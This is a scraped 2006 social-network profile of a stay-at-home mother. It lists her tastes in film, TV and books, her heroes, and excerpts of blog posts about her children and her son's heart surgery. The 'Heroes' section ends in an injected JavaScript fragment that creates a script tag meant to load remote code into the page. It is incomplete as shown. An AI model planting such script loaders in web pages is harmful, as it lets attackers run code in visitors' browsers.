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About Me

I'm Sarah, but if you know how to read you probably already figured that out. I'm a stay at home mommy of 2 awesome kids, and I've been with their dad for almost 7 years. Not 6 like he has on his page. Ass. I'm a fairly low-maintenance chick; just give me a cheap bottle of wine and some good friends, and I'm a happy girl. The majority of my time is spent in the house, either cleaning something or wiping a nose, but I wouldn't have it any other way. I can bake like nobody's business, if I do say so myself. Bourbon pecan pie is my specialty. I will own a bakery one day, I promise. I'm a firm believer in random acts of kindness and paying it forward. I hate shit-talkers and know-it-all's.

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I'd like to meet:

Old friends, anyone I ever did something wrong to, so I can say I'm sorry, people I went to high school with, anyone who will comment/message back (I so totally went there), Maya Angelou, Alyssa Milano, Will Ferrell, Vince Vaughn, Frances McDormand. Alton Brown and Paula Deen. Sandra Lee, so I can kick her in the semi-homemade ass. I've already met Sevendust. A few times, actually. Anyone who is a fan of Sevendust, is a friend of mine.

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Movies:

I cry like a little bitch, EVERY time. My absolute favorite movie. I like pretty much anything with Christopher Walken in it, especially True Romance. I like comedies. My favorites of the moment are Grandma's Boy and The Longest Yard. I giggle every time he gives the referee a wet willie.

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Television:

My new favorite is House. He's such a jackass. My other favorite is Weeds. I also watch alot of the reality crime shows and adult cartoons: Forensic Files, Autopsy, Cold Case Files, Family Guy (who doesn't love Stewie?), Futurama, pretty much all of Adult Swim except for that stupid mayor show. And in true housewife form, I watch Passions and Dr. Phil.I'M CONVINCED THIS IS WHAT HAPPENS EVERY TIME I LEAVE THE HOUSE
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Books:

Like I have time to read! I make time at least once a year to read the newest Harry Potter book. I finished the Goblet of Fire in a day and a half. I also like stuff by Dean Koontz and John Saul. If you ever get the chance to read The Second Child by John Saul, do it.

Heroes:

My mommy, because she's an amazing woman who has gone through alot. Dr.Kenneth Murdison and Dr. William Norwood. They were David's cardiologist and his heart surgeon. Every single staff member of PervertedJustice.com. They do great things. .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

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My worst nightmare

After years of hard work keeping my kids away from all the damaging and horrid shows on TV, Annaleise has decided the worst one of all is her new favorite. Barney. In the last 5 minutes, I have develo...
Posted by Sarah on Sat, 18 Nov 2006 10:13:00 PST

Blah, blah, blah.

I'm bored. And I'm pissy. I thought I would be happy when Annaleise moved out of her crib. I'm not so happy. She will not stay in that damn bed for anything. David, my good child, is trying to go to s...
Posted by Sarah on Sat, 04 Nov 2006 06:58:00 PST

Our Halloween

The kids looked adorable tonight, as you can see from my profile picture. Annaleise fell asleep on the way to their aunt's house, so she ended up not going trick or treating. 50 friggin' dollars waste...
Posted by Sarah on Wed, 01 Nov 2006 08:27:00 PST

Little Ali

I was recently doing some profile snooping, and I came across the page for a little girl by the name of Ali, who at only 2 years old was fighting for her life. She had very aggressive cancer that inva...
Posted by Sarah on Mon, 23 Oct 2006 07:08:00 PST

A MUCH better Survey.

--> -->All About Me Part IIWhat I didn't tell you the first time!by Esinedfigaro 001. What is Your Name? Sarah002. How old are you? 27003. What is the link to your website, blog, or myspace? MySpace....
Posted by Sarah on Fri, 20 Oct 2006 08:14:00 PST

My face hurts

I know, I know. "If I had a face like that, it would hurt, too." Shut it, Tim. I had oral surgery today. Went in for a toothache, ended up having 2 surgical extractions. I'm not in as much pain as I t...
Posted by Sarah on Sat, 14 Oct 2006 04:56:00 PST

Rocker Mom VS. Soccer Mom ( I like this title better)

I just almost beat the shit out of another mom at the park. She put her hands on David. Reached up and pulled him off of this rock wall they have there. I was about 10 feet away making sure that Annal...
Posted by Sarah on Tue, 10 Oct 2006 11:09:00 PST

Yay! Time for another drunken blog!

It's been a while since I've posted one of these. I like wine. LOL. And I'm bored, spending another friday night at home with the kids. Their asleep, and I'm about to commandeer David's Play...
Posted by Sarah on Sat, 30 Sep 2006 07:25:00 PST

September 17, 2001

5 years and 1 week ago today, Sept. 17 2001, was quite possibly the worst day of my life so far. That was the day that David had his open heart surgery to repair a hole in his heart the size of a smal...
Posted by Sarah on Mon, 25 Sep 2006 07:51:00 PST

A challenge

I defy you to name anything better than watching Jerry Springer do the Cha Cha. I personally would love to see Jason do the Cha Cha. Now THAT would be hilarious. Who knows. If we ever get married, I j...
Posted by Sarah on Wed, 13 Sep 2006 07:17:00 PST